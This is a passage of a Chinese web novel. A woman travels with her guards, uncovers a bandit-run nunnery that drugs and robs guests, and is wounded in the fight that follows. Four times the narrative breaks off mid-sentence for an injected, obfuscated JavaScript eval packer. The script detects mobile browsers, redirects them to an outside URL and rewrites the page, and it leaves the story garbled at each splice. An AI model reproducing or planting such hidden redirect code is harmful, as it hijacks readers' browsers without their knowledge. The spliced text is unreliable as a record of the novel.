姜宜年顿了顿,感觉自己不应该把人想得那么坏,她改口道:“就算路上遇到什么意外,我也不会让自己出事的,你放心好了。” “不亲自陪在妻主身边,我没办法放心。”商琮琤态度坚决。 姜宜年轻轻叹了口气,“郎君说的是气话。” 她醒过来之后还是头一次这样叫他,商琮琤没忍住看向她的双眼。 “郎君这么聪明,该知道姜家现在到底是谁当家,我不在家根本没什么,可你若是跟着我们一起远行,姜家这一摊子该怎么办?姜家这一大家子人又该怎么办?” “可是……” “我没事的。”姜宜年轻抿嘴唇,思索片刻,道:“除了保护我的人,我会带上柯玉,她虽然年轻,但做事得当,我没事的。” 商琮琤沉默了一会儿,“妻主再考虑一下吧,我不认为你该跟她回去。” “你是觉得她会对我做什么?” “……”商琮琤没有说话。 “她虽然姓姜,但你如今也是姜家的人了,想到什么都可以直接说。”姜宜年道:“不管你信不信,眼下我最信任的人不是哪个姓姜的,而是你,只有你。” 商琮琤抿了下嘴唇,眼神产生了一些细微的变化,似是不舍,又似是欣然。 “依我看,可能性不大,但也不是绝无可能,既然不是绝无可能,便不能掉以轻心。” “嗯。”姜宜年轻轻点头,“我也是这么想的,不过只要想到万一……她说的是真的,弃她于不顾,就是弃那个在鼎州正为我忧心的老人家于不顾,我于心不忍。” 姜宜年看着他道:“只要晚一些,就是阴阳两隔,再无相见的可能,我认为无论如何都应该争取一下。” 商琮琤还有一肚子劝说的话不吐不快,但听到姜宜年这么说,就知道她已经拿定了主意。 “可我……” 他声音都有些颤抖,“可我担心妻主。” 姜宜年笑笑,“我昏迷了一年都能醒过来,必然是大富大贵的命,你有什么好担心的。” 商琮琤摇头,“妻主在我身边,即便一直沉睡着,我也能日日夜夜看到你,妻主不在我身边,我便会时时刻刻担心你遇险。” “我懂。”姜宜年眼睫微垂,不再开口。 商琮琤并不退让,“起码让我跟着。” 姜宜年抬头看他,陡然轻笑一声:“好啊,你跟我一起,然后等我们回来,这姜家就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756314|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有你我的位置了,你把自己想得太不重要了。” 商琮琤一脸忧心忡忡,小声喃喃,“姜家与我……” 只说了四个字,看到姜宜年的表情,商琮琤立刻收声。 片刻后,才看着她诚恳开口道:“我跟着妻主去鼎州,柯锦留在这儿,有什么事她自己会看着办的,我们快去快回,根本不会耽误什么。” “你留下不是更加万无一失?我快去快回,两边都不耽误。” 姜宜年已经决定好了,不可能带着商琮琤长途跋涉。 更何况经过了昨晚,她觉得这个时候自己出门一趟,也能让两人的关系暂缓一下。 老实讲,她本来还有一点发愁到了晚上两人应该怎么相处,刚好,短时间内不用相处了。 “妻主,这一行路途遥远,你才刚醒过来没多久……” “梁大夫都准许我断药了,每日诊脉你也瞧着的,我一点事儿都没有,这一点你根本不用担心。” 商琮琤满脸担忧,姜宜年轻轻拍了拍他的肩膀,“放心吧。” 姜宜年提出跟商琮琤私聊主要是想问问他鼎州那边的情况,人员组成什么的。 但商琮琤一心只想跟着她一起去,姜宜年见问不出什么有用的,就不问了,一味安慰他。 商琮琤也看清了姜宜年不可能带着他一起去鼎州,只好专心快速地帮她整理行李。 姜叶四人来嵘城,驾的是自己的马车,条件不错,着急回去,姜叶说自己的朋友就不跟着了,会在嵘城留一段时间。 姜宜年带了两个拳脚功夫不错的,再加上柯玉,七个人一辆马车自然不合适。 商琮琤终于放弃了随行,但又对姜宜年提议不如让柯锦也一起跟着,被姜宜年否了。 “让柯锦留下继续帮你吧。”见他还有话说,姜宜年道:“你担心我,怎么不明白我也会担心你?” 商琮琤怔住了,姜宜年靠近他小声道:“万一他们是调虎离山呢?万一他们的目标本来就是你呢?” 她当然不确定,这就是一个借口,一种说辞。 不过商琮琤现在是整个姜家的主心骨是一定的,他不能在这个时候离开姜家。 商琮琤神色复杂,似乎欲言又止。 姜宜年一行人要离开之时,柯锦着急忙慌赶到,来得及跟妹妹告别,跟姜宜年说上几句话。 柯锦这一年中为了给商琮琤做事,也出过门,不过没到鼎州那么远过。 她也不知道自己能做些什么,不过看得出来,她也想跟着姜宜年一起去,不过终究没说出口,明白嵘城这头离不开她。 “娘子……”跟妹妹道过别后,柯锦看着姜宜年依依不舍。 姜宜年对她笑笑,道:“你帮我好好照顾郎君,莫要让他多思多虑。” 柯锦皱眉,无奈小声道:“这我可做不到,只有娘子平安归来,郎君才会放心。” 姜宜年微笑点头,“会的。” 她看向商琮琤,对方站在不近不远的位置,遥遥看着她,满面愁然。 20. 第20章 “姜家与我何干,偏偏因为这种理由不能跟她一起……” 商琮琤没说完,微微偏头,吉枣默不作声低着脑袋把门关好了。 “柯锦找的那两个人安全吗?什么来历?妻主只问了名姓,连从哪儿来的都没时间多问……” “郎君放心,是柯锦亲自挑的人,自然是靠得住的,她对娘子绝无二心。” “你替她保证?”商琮琤睨他一眼,吉枣不敢再多嘴。 商琮琤兀自生了会儿气,又吩咐道:“想办法查查看鼎州那边的事情是不是真的,如果有异,及时来报,再找两个……不,三个,再找三个拿钱办事的江湖人,暗中保护妻主,就说……若是她毫发无损平安归来,酬劳翻倍。” “是。” 听商琮琤这么说,吉枣丝毫不意外,刚准备出去,又听到商琮琤言语—— “路上妻主发生了什么,让她们一一记下,及时传送回来。” “是。”吉枣喉头微动,咽了咽口水,看起来有些紧张。 姜宜年早上刚离开,还没到中午,郭氏就派了人来叫商琮琤过去。 他换了身衣服打算过去,吉枣拦了一下,“娘子出门前叮嘱过,若是那几房为难郎君,郎君不用搭理他们。” 商琮琤看着他,并不言语,吉枣顿时紧张起来,“娘子叮嘱了好几次……何况这个时候叫郎君过去,必然是想趁娘子不在的时候估计找茬。” “就是因为妻主不在,我才必须过去,若我言行有差,岂不是连累妻主被人说三道四。” 吉枣一时间无言以对,不知道该说什么话才能劝住他。 他想,如果娘子能一直陪在郎君身边就好了,他只听娘子的话。 * “阿嚏!” “娘子可是冻着了?” 姜宜年刚刚打了个喷嚏,柯玉就急切着凑到她跟前来:“郎君提前准备了炭火,不如……” “停,才几月啊就烧炭,而且这还在赶路,别整那些麻烦的,我也没觉得冷。” 姜宜年就是鼻子痒了一下。 柯玉想了想,道:“那娘子盖上点儿毯子吧,郎君一直叮嘱我,不可让娘子生病,否则我回去就惨了。” “他那是吓唬你呢,他就是个嘴硬心软的人,难不成你这么久都没发现?” “郎君是嘴硬心软,但也说一不二。别的事情或许还有商量的余地,但凡是关乎娘子的,一点儿不允许含糊。娘子就当时可怜可怜我吧,别让我受苦。” 姜宜年笑了一声,“商琮琤就是个软柿子,他能让你受什么苦。” “娘子不知道,先前郎君刚刚接手姜家的生意,多少人不服气他,他一边亲自照顾娘子你,一边用最快的速度搞清楚了所有账目和用人,钻研透了其中的弯弯绕绕,专门从她们的软肋处下手。一开始筛去了那些品行有差的,后来又拔去了刺头,最后留下来的那些,原本也是瞧不上郎君的,但都被他治得服服帖帖,郎君其实是个很厉害的人呐,若他是个女子,说不定……总之,郎君哪里是什么软柿子,他只是对娘子一个人好罢了。” 姜宜年其实想到过这些,但自己无端揣测,跟亲耳听到别人这样说,还是不一样的。 她说:“你不是一直在内院做事吗?怎么知道这些?” 姜宜年想,说不定这是一种营销手段,放出消息,为的是震慑对手,还有身边的人。 商琮琤这个人有时候就是会让姜宜年产生一种莫名其妙的割裂感。 毕竟没有一起经历过那些现在从别人嘴里听说的那些时刻,她分不清是夸大其词还是确有其事。 如果商琮琤在事业方面一向雷厉风行,为什么她看到的他没有那一面?他对自己,对其他几房都有点儿逆来顺受的意思了。 而如果,商琮琤在事业方面跟在家里的时候性格统一,他应该做不了姜家的家主。 除非……他是装的。 外面的生意人精的跟什么似的,也就是说,商琮琤在她身边,在姜家那副任人宰割的贤夫样儿,恐怕是装的。 目的呢? 或者说,原因呢? 姜宜年一脑袋问号。 她甚至有点儿感激姜叶,在这个时候把她带出来,让她不得不离开商琮琤。 两个人不在一起,她尚且还有时间慢慢去捋清楚这一切。 “我姐告诉我的啊。”柯玉话多,在姜家的时候就是,出了门,整个人肉眼可见放松多了,跟姜宜年就有更多的话可以聊了。 她说:“我姐说真看不出郎君性子那么要强,她原本也跟娘子你一样,以为郎君好说话,脾气好,实际上完全不是那样的,郎君板起脸来的时候甚至有点儿吓人。” 姜宜年问:“是么,他凶过柯锦吗?” “应该没有吧。”柯玉道:“我没听我姐说起过,不过郎君不太会发脾气,基本上会直接惩处犯了错的人,我姐看到过好多次,还有几次,跟商铺掌柜说话,谈不到一起去,郎君谁也没问直接自己做了决定,把掌柜赶走,转天就换了新人。” “这不是应该的吗?”姜宜年说:“这种时刻是应该杀伐果断,若是留了犹豫的时间,立不了威不说,也给了对方反击的机会。” “话是这么说,但郎君……毕竟是个男人啊。” 姜宜年:“……” 对哦。 她还是现代人的固有思维,偶尔会忘掉这一点。 以这个时代的固有思维来看,商琮琤就算当了家主,手握管家权,但做事一定会瞻前顾后,唯唯诺诺,半天做不下一个决定来。 或者还会寻求长辈的意见,想到自己这样做或是那样做,家里的几房长辈会不会被人说闲话,妻主会不会埋怨他。 他倒是很有主见。 ……所以很割裂。 他看起来像是真心喜欢着原主,难道说在面对喜欢的女子时,整个人就会自动变得柔软了? 如果他在姜家的温柔可人是装的,在外杀伐果断的那个才是真正的商琮琤,会不会……莫邈提醒的是真的? 姜宜年不想草率地认为一件事一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768892|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人如何如何,她还是想找到证据去证实。 如果商琮琤真的有一个爱而不得的心上人,姜宜年希望能跟他好聚好散。 她甚至想过,如果有一天原主突然回来,自己得到了魂飞魄散的悲惨下场,她也绝不怨天尤人,不过到那时候,商琮琤跟原主的一切恩恩怨怨,就跟她没关系了,也挺好的。 凡事都有好的一面。 重活一次,姜宜年准备所有事情,都尽量只看到好的那一面。 胡思乱想间,马车停了下来。 没一会儿,姜叶过来跟姜宜年说话,“阿姐,要变天了,继续往前走,估计今天只能在林子里过夜了,不然先停下来投宿吧?” 姜宜年看了一眼天色,确实阴沉沉的,耽误不得。 她说:“你安排就好,我没意见。” 没一会儿,姜叶像是跟谁说完了话又来找姜宜年。 “阿姐,有个戏班子也要避雨,说是前面有家尼姑庵,她们知道位置,不然我们跟着她们一起过去?” 姜宜年不想在路上跟陌生人牵扯太多,人还是要多一点儿心眼,毕竟出门在外。 但看姜叶面色平平,而且想着她出门在外的经验比自己多,便还是说让她安排就好。 柯玉攥着姜宜年的衣角,看起来有些紧张。 姜宜年转头笑了一声,问她怎么了。 “方才看到跟在后面的那两个人,抬着的大箱子上有两个面具,挺骇人的。” 姜宜年掀开车帘想看一眼,被柯玉阻止,“娘子就别看了,我都害怕,娘子看了晚上恐怕要做噩梦的。” “放心,我还行。” 姜宜年没听劝,转头看了过去。 有三四个人跟在她们的马车后头,其中有两个人确实抬着一个大木箱,应该是她们吃饭的家伙事儿。 彩线织就的衣袖一角还被夹在箱子外面,抬箱子和跟着走的人,似乎毫无察觉。 姜宜年轻轻放下车帘,柯玉问道:“是不是很骇人?” “是有一点。”姜宜年沉默了一会儿,跟柯玉说:“一会儿马车停下的时候,你去问问姜叶,是她问了戏班子的人,还是戏班子的人主动找她搭的话。” 柯玉一脸不明所以,但还是点头应了声。 尼姑庵确实存在,她们一行人刚进去大雨就落了下来。 一点儿不给喘息的时间,所有人匆匆忙忙跑进去避雨,姜叶发话,车上的行李暂时先不卸下来,等雨小了再说。 姜宜年没出面,全由姜叶跟尼姑庵主事沟通,她和柯玉还有保护她们的两个女子直接被领到了相邻的两间屋子前,说那是给她们安排的住处。 “有劳。” 带路的是个小尼姑,柯玉给了点儿赏钱,对方欢天喜地地走了。 会武的两个姑娘一个叫戚英,一个叫尤嬅,以为姜宜年一间房,柯玉一间房,她们两个落不着房间,守在门外。 没成想姜宜年安排她们两人一间,自己和柯玉住在一起。 一听,皆要推脱。 21. 第21章 “我累了,就这样吧,你们吃些东西,晚上轮流值守即可,不用两个人都熬着。” 姜宜年不是信得过这个地方和这里的人,而是信得过柯锦。 商琮琤的指令,柯锦挑的人,身手肯定不至于花拳绣腿三脚猫,一个人守着她们就够了。 何况在场的不会动手的只有姜宜年一个,逼急了柯玉也能出个几招。 回了房间,柯玉才跟姜宜年汇报她之前安排给自己的任务情况—— “姜娘子说自己发觉天色不对,停了马车,然后那几人过来搭讪的。” 姜宜年听完,沉默一瞬,道:“去叫尤嬅进来。” …… 尼姑庵特意准备了饭菜送来,姜宜年让柯玉收了,放在一边,没什么胃口。 柯玉也没吃,一边收拾东西一边跟姜宜年说话。 夜色渐浓,姜叶也跑过来跟姜宜年说话。 主要是询问她各方面有没有什么需要,或是身体有没有什么不舒服的。 姜宜年让她放心,说自己没什么事。 “阿姐,你要是觉得不舒服了一定早早告诉我,我答应姐夫要好好照顾你的。” 姜宜年笑笑,说:“好。” 原本商琮琤一定要让姜宜年带上梁大夫,人家有夫有女的,跟她跑到鼎州去实在不合适。 最后双方各退一步,姜宜年答应路上一有机会就会找大夫搭脉,而商琮琤也不再硬性要求固执地派梁大夫跟她出差。 姜叶走之前,发现柯玉罕见地寡言少语待在一旁,问她怎么了。 柯玉立刻扬起笑脸,说没事。 姜叶不以为意,道:“你们呀,就是在大宅子里待得太久了,所以一出门就觉得疲累,其实若是有机会,常常出门在外,走这点子路,根本不算什么。” “娘子说的是。”柯玉只好讪讪一笑。 姜叶又发现了什么,开口问道:“诶,阿姐身边不是有两个保护你的人吗?怎得门口只有一个?是不是犯懒去了?” “没有。”姜宜年道:“水土不服,让她歇着了。” “啧……”姜叶下意识说了几句埋汰人的话,这才摇着脑袋走了。 柯玉守在姜宜年身边,问她:“娘子,不会出什么事吧?” “当然不会。” 姜宜年撇了撇嘴角,心中唯一希望的是—— 姜叶最好不要跟那些人是一伙的,不然她这趟出行,还没走出去几里地呢,眼瞅着就要打道回府了。 其实路上已经走了两天,这两天天气都不错,也算是日夜兼程。 距离嵘城,已经有一段距离了。 姜宜年躺在床上的时候,心里忍不住想到商琮琤,也不知道他在家里怎么样了。 她不在的消息不胫而走,另外几房肯定很快就知道了,保不齐会怎么折腾他。 虽然离开前千叮咛万嘱咐不让他搭理,想想看,以他的性子肯定不会听。 倒不算是当面一套背后一套,而是应付了这头又去应付那头。 为人夫,当如此。 等她回去问起来,商琮琤肯定要这么说。 有时候对他有点儿恨铁不成钢,有时候又有点儿望而生畏。 姜宜年只要想到商琮琤这个人,想到跟他有关的一切,心情就会变得很复杂。 “娘子,要睡了吗?” 柯玉打算灭灯,姜宜年点头“嗯”了一声。 但柯玉迟迟没有下手,犹犹豫豫地看向门外,门外空无一人,她内心惴惴不安。 “柯玉,放轻松。” 柯玉听到姜宜年这么说,心中镇定了不少,把油灯灭了。 屋子里顿时陷入一片黑暗中,只有门前的位置流淌着一点点月光的清亮。 过了不知道多久,或许没有很久,房门突然被人轻手轻脚打开,柯玉守在床边,握着姜宜年的手摇了摇。 姜宜年捏了下她的掌心,让对方知道自己没有睡着,柯玉的呼吸似乎瞬间放松了许多。 不多时,屋子里亮起一点光,戚英拿着短匕抵在一个人脖子上,那人两股颤颤,几乎跪坐在地上,毫无形象可言。 “娘子……求娘子救命!” “你是谁?”戚尧蹙着眉不屑地开口:“男人?大半夜跑到我们娘子房中来想做甚?” “我与娘子下午见过,当时娘子在马车上,遥遥一望,娘子不记得我了吗?” 姜宜年根本不记得他是谁,是那所谓的戏班子里的其中一员吗?下午抬箱子的那几个? 当时都灰头土脸的,眼前这个,却白净得很,模样也算俊俏。 姜宜年眨了下眼,冷声道:“滚出去。” 那小公子直接对着姜宜年跪了下来,连磕两个头,“求娘子救我性命!若是娘子见死不救,自己也会有危险的啊,这尼姑庵根本就是假的,现在住着的客人都是待宰的羔羊!” “那你又是谁?” “我叫晁旌,我们一家子都是唱戏的,姨母带着姐姐一家子都在嵘城,我和母父原是要去帮忙的,但还没到嵘城呢,就被匪人盯上了,我母父都死于她们手下,她们见我年轻长得还行,就想拿我当诱饵诱骗过路的有钱人。” 晁旌说一句抹一下眼泪,“我抵死不从,她们便想要毁我名节,然后杀人弃尸,被庵主拦了下来,说万一……” 他哭哭啼啼个不停,柯玉等不及了,“万一什么?” “说万一遇到一个有钱的主,讨不到什么好价钱,有钱人都喜欢干净的男人。” 姜宜年一直表现得很冷静,问他:“那你现在跑过来跟我们说这些,是什么意思?” “下午见到娘子,便知道是好人,她们看到娘子看我了,还以为娘子对我有意,让我来投怀送抱,还让我跟她们里应外合,夺得娘子的钱财。” “你说的庵主,是说这尼姑庵的庵主?” “是。”晁旌哭得抽抽搭搭的,一直低着头,这么一会儿工夫,姜宜年连他长什么样子都没记住。 柯玉倒吸一口凉气,猛地转头看向姜宜年,“也就是说,这尼姑庵里头的都是坏人了?娘子,怎么办啊?” 姜宜年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773966|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微抬手,示意她冷静,柯玉抿了下嘴唇,闭了嘴。 “晁旌是吧?如果真如你所说,戏班子里没有好人,尼姑庵里也全是匪徒,我们现在已经成了瓮中之鳖,她们直接动手就好了,为何还要让你来勾引我?” “因……因为她们看出来娘子身边跟着几个高手,怕动起手来有什么差池,没有十足的把握,让我来探探虚实,顺便……顺便看看你们吃东西了没有。” 柯玉冷哼一声,“娘子还真猜对了,那尼姑送来的饭菜里有毒!” “不是毒,是迷药。”晁旌抹了把泪,说:“给随从的才下了毒,若是大肥羊,她们还想着搜刮了身上的钱财之后,绑了问清楚来历,向对方家里要钱。” “你怎么知道的这么清楚?” “我被绑了扔在柴房里已经三天了,是听守着我的歹人们聊天说的,娘子一行人打扮都不像是普通人,她们肯定也是这么想的,不过我只是猜的。” 戚英啐了一口,“还好娘子提前发话,我跟尤嬅都没吃。” 柯玉突然捂住嘴:“完了!姜娘子那边……” “莫担心,娘子让尤嬅出门前,提前换过了她们的吃食。” 柯玉这才放心下来,姜宜年也有些后怕,她一开始在犹豫是换还是直接毁掉。 最后还是选择了调换,毕竟在她看来,姜叶也不是百分之百能信任的人。 如果直接毁掉可能会打草惊蛇,但她当时以为顶多会被下迷药,没想到对方会直接针对性地上毒药。 如果中间有一环出了差错,这会儿已经有人死了。 姜宜年原本还存着看姜叶她们吃没吃东西的心思,现在不禁也有些担心起来。 “戚英,你从窗户出去,莫要被人发现,去看看她们那边有什么事情没有。” “娘子,可他……”戚英很是犹豫。 柯玉一步向前,“哎呀你去吧,他这么个瘦弱的男人,我就能搞得定,放心,我保护娘子,你快去快回。” 戚英离开后,柯玉回到姜宜年身边,问这个男人该怎么办。 姜宜年沉默地看着他。 瞧着还是个少年,顶多十六七岁的样子,白白净净的,哭个不停,挺可怜的。 但姜宜年还是开口说道:“先绑起来,捆了手脚,放在一边。” 柯玉接收指令,立马去做,晁旌也不反抗,让他抬手就抬手,让他蜷腿就蜷腿。 绑好了以后,柯玉让开,晁旌吸了吸鼻子,“听起来,娘子早就发现不对劲了,可她们人多势众,娘子只凭身边的人,是逃不出去的。” 姜宜年抿了下嘴唇,问道:“她们说了吗?让你什么时候回去?” 晁旌红着眼睛像兔子一样看着她,小声道:“她们说……若是娘子十分难缠,陪着睡一觉也无不可,主要是要知道是什么人,从哪里来,有多少钱,让我天亮后去回话。” 姜宜年点了点头,无视少年的羞愧怯意。 “那你就在这儿,跟我们一起等着吧。” 不多时,戚英回来,说姜叶吃了饭。 22. 第22章 “想来尤嬅不负娘子所托,姜娘子她们吃了东西,但眼下没事,还没有就寝。” 姜宜年陡然间又有一丝后怕涌了上来,不过很快,她松了口气。 姜叶如果跟尼姑庵的歹人们是一伙的,没必要吃她们送去的饭菜,除非她将计就计,不过姜宜年认为,姜叶不至于精明或者说阴险到那个程度。 她应该跟自己一样,什么都不知道,是受害者。 晁旌人虽然被绑着,但没有堵嘴,他似乎比姜宜年还要急切想要将那伙歹人绳之以法,生怕姜宜年掉以轻心轻了敌。 “娘子还在等什么?到了天亮,她们可就要动手了。” 雨下得挺大,姜宜年听到室外的雨声,亦有些心烦意乱。 “再等一个半时辰,如果尤嬅还没回来,戚英就离开这儿。” “娘子……” “先等等看。” 姜宜年头一次遇到这种情况,还是很紧张的。 她突然想到商琮琤,一时间想着还好他没跟着来,不用身犯险境,但又想着,如果他跟过来的提议自己同意了,那么此时此刻,做主发号施令的人就会是商琮琤而不是她了。 这样其实是不是更合适呢?商琮琤成熟冷静,面对这样的情况,面对身边这些需要依靠自己的人,就算跟她现在一样担心害怕,也会顶着压力交出最完美的答卷。 换成姜宜年本人,她不知道自己能不能做到。 姜宜年靠在床边,有些支撑不住,昏昏欲睡,但又不敢睡。 “娘子是从哪里来的?家里都有些什么人?” 晁旌窝在墙角,突然开口,姜宜年醒了,其他两人也都朝他看了过去。 确定了这三个女子不会对他怎么样,晁旌哭过了,似乎也镇定坚强了许多。 他轻声开口,无奈道:“天亮时她们还让我去回话呢,若是我连这些都不知道,她们还不晓得会怎么对我……” 姜宜年不认为她们需要等到天亮,变成不利于自己的形势,但—— “你不晓得吗?我晓得。”姜宜年神色冷峻开口道:“你一夜未归,她们必然以为你已经委身于我,那么到了天亮,她们也就无需顾忌其他了,会发生什么可怕的事,不用我说,你也能想得到吧?” 晁旌脸上血色尽褪。 “你已经没有退路了,不管你说的故事是真是假,我姑且当你是个好人,不过如果你耍什么花招,你在我这里待得够久了,基本上我说什么她们都会信,到时候你只能两头都落不到好。” 晁旌神色惶惶。 他怎么会第一眼觉得这个女子是个温柔的好人的啊? 这世上哪有什么温柔善良的女人,都是假的! “娘子放心。”晁旌吸了吸鼻子,低下脑袋,“我会乖乖听娘子的话,不会跟她们乱说什么的。” 姜宜年知道自己说这些话吓唬小孩儿有点儿过分,但她现在看谁都要带着怀疑的滤镜。 她告诉自己,没有任何一个人可以获得免检权。 这不仅仅是为了自己,也是为了身边的人不受到牵连。 无论对方说了什么,只能半信半疑。 还要时刻提防被背刺。 姜宜年走了两三天,这个时候,突然有点儿想念商琮琤了。 不知道他现在在做什么,已经睡着了还是……在看账?或者睡不着……在担心她? 如果他在…… 姜宜年甩了甩脑袋,想着,还好他不在。 “娘子成婚了吗?” 姜宜年闭目养神的时候,听到晁旌这么问,不过不是在问她,而是在问柯玉。 柯玉一点儿也不客气,“跟你有什么关系?” 晁旌一脸委屈,想到逝去的母父,眼下的处境,即将到来的未知可怖,又想哭了。 “你再问东问西,我就找东西把你嘴堵上了。”柯玉一点儿也没有怜香惜玉的心,表情严肃,语气强硬。 晁旌嘴角向下撇了撇,眼眶里包着泪。 “我成亲了,家在嵘城。” 晁旌猛地转头看向姜宜年,“嵘城?那娘子可有听说过灵喜班?” 姜宜年略略思索一瞬,柯玉已经往前走了一步,“你知道灵喜班?” 晁旌连连点头,“灵喜班的班主是我姨母,我和母父原本就是去投奔她的,谁知道……” 勾起了他的伤心事,眼泪再次滚落。 “听说过。”姜宜年道:“但是还没机会听过她们的戏,她们在嵘城很受欢迎。” 晁旌哽咽着,低着头不敢放声大哭。 姜宜年安慰他道:“若我们平安无事,我就让人送你去跟姨母一家团聚。” 晁旌看向姜宜年,久久没有说出完整的一句话来。 就在这个时候,外面似乎起了喧嚣。 戚英附耳在门上细听,回头道:“外面有人打起来了。” 晁旌先前跟她们说过,尼姑庵里除了她们还住着其他客人,也是一家子。 不过是妻夫俩带着两个孩子,一女一儿,原本今日若是姜宜年一行人没出现,她们便想把夫妻俩杀了,夺走两个孩子。 留下女儿培养,把儿子卖了。 姜宜年一行人出现,她们即刻打消了这个念头,转而把注意力放在她们身上。 那妻夫俩是寻常人,刚好可以混淆视听。 姜宜年猜测外面的动静应该是尤嬅带着人回来搞出来的,开始担心起那对妻夫和孩子们的情况。 她问晁旌他们住在哪里。 晁旌摇头,说不知道,只在白日见过一面,是在前厅吃饭时看到的。 戚英瞧出了姜宜年所想,安慰道:“娘子不必担心,待外面平息了,我去找他们。” 让戚英现在就去找的念头只在姜宜年脑子里晃了一下,便就此打住。 眼下还是先顾好自己比较重要。 她们人员有限,如果戚英被支开,这个晁旌又闹出什么动静来,柯玉说不定抵挡不住,姜宜年本人就不用说了,她有自知之明。 很快,有人朝着她们的位置过来,柯玉挡在姜宜年身前。 戚英则守在门口听着,“不是尤嬅,来的是贼人。” 姜宜年闭了闭眼睛,戚英回头,“娘子莫怕,不会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773967|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事的。” 晁旌被扔在一边,小声叫嚷起来,“你们给我松绑啊,关键时刻,我也能帮忙的。” “闭嘴!”柯玉呵斥住他。 想了想,直接走到他身边,撕下了他衣服的布料,团吧团吧塞住了他的嘴。 姜宜年没有阻止柯玉的行为。 晁旌这个人是敌是友尚未分清,就算不是敌人,难保不是个墙头草,万一关键时刻倒戈,还不如从头到尾都绑着。 柯玉会这么做,显然也想到了这一点,戚英更是没有多余的精力关注角落里的晁旌。 晁旌一开始还挣扎了两下,很快就认了命,倒在一边装死。 房门很快被人冲开,戚英拿着剑就上,“柯玉,你好好保护娘子。” 柯玉“嗯”了一声,手里拿着的武器是不久前戚英给她的短匕。 来了四五个人,戚英武艺再怎么高强也是双拳难敌四手,虽然极力阻挡,但还是有人冲着姜宜年过来。 柯玉也加入了战斗,尚且能抵挡一阵子,姜宜年一直屏息凝神看着战况,突然看到有人出招,柯玉似乎并未察觉。 她下意识冲过去,叫了柯玉一声,推了她一把,那刀并没有伤到柯玉,却割到了姜宜年的胳膊。 “娘子!” “娘子!” 戚英那边也看到了,心急如焚。 蜷缩在墙角的晁旌目睹全程,瞠目结舌,瞪大了眼睛。 “我没事,专注自己!” 戚英和柯玉见姜宜年受了伤,都想速战速决,反而招招狠厉,对方很快败下阵来。 将贼人统统擒住,柯玉第一时间冲到姜宜年身边,为她检查伤势。 “完了!流了好多血啊,郎君知道了肯定会杀了我的!” 柯玉一遍害怕地说着话一边帮姜宜年包扎。 姜宜年伤在胳膊,流了挺多血,她也有些被吓到了,不知道当时自己为什么会冲上去。 但对方原本的目标是柯玉的脖子,如果自己当时没挡那么一下,柯玉这会儿肯定已经没命了。 后悔倒是不后悔,就是受伤了还挺后怕的,也挺疼。 看着衣服上染上的鲜红色,姜宜年一阵头晕。 柯玉帮她将一侧外衣脱下,上了金创药,又缠了纱布,不经意间回头才发现被堵着嘴的某个人一直目不转睛地看着她们这边。 “你看什么看?!非礼勿视!你懂不懂?谁准你盯着我们娘子看的?”柯玉心里本来就有火,这个时候易燃易爆炸。 姜宜年已经冷静下来了,她穿好了衣服,道:“好了,他肯定也吓得不轻,我没事了,你去给他松绑吧。” “娘子……” “去吧,一会儿官府的人过来问话,他也要答的。” 柯玉皱着眉去给晁旌松绑,先拿出了他嘴里的布团,再去顾他的手脚。 这个时候,晁旌跟之前相比倒是安静了不少,他一言不发地看着姜宜年,一双漆黑的眸子深深地凝视着她。 姜宜年朝他看过去,他的目光也没有丝毫转移,异常专注。 姜宜年微微皱眉,转过头去。 23. 第23章 对于尤嬅悄无声息离开,冒着大雨带着官差回来的事,姜叶知道后大为震惊。 “阿姐什么时候发现这个尼姑庵不对劲的?尤嬅又是什么时候离开的?” 姜宜年正在里间跟捕贼官说话,姜叶问的是一直跟着姜宜年的柯玉。 “娘子什么时候发现的……我也不知道,不过应该是在进入尼姑庵之前的事了,庵主刚安排我们住下,娘子就让尤嬅悄悄溜出去了。” 兴许是觉得一切尽在掌控,又或许是许多人已经成为了她们的囊中之物,这伙贼人异常自信,竟无一人发觉有人溜了出去。 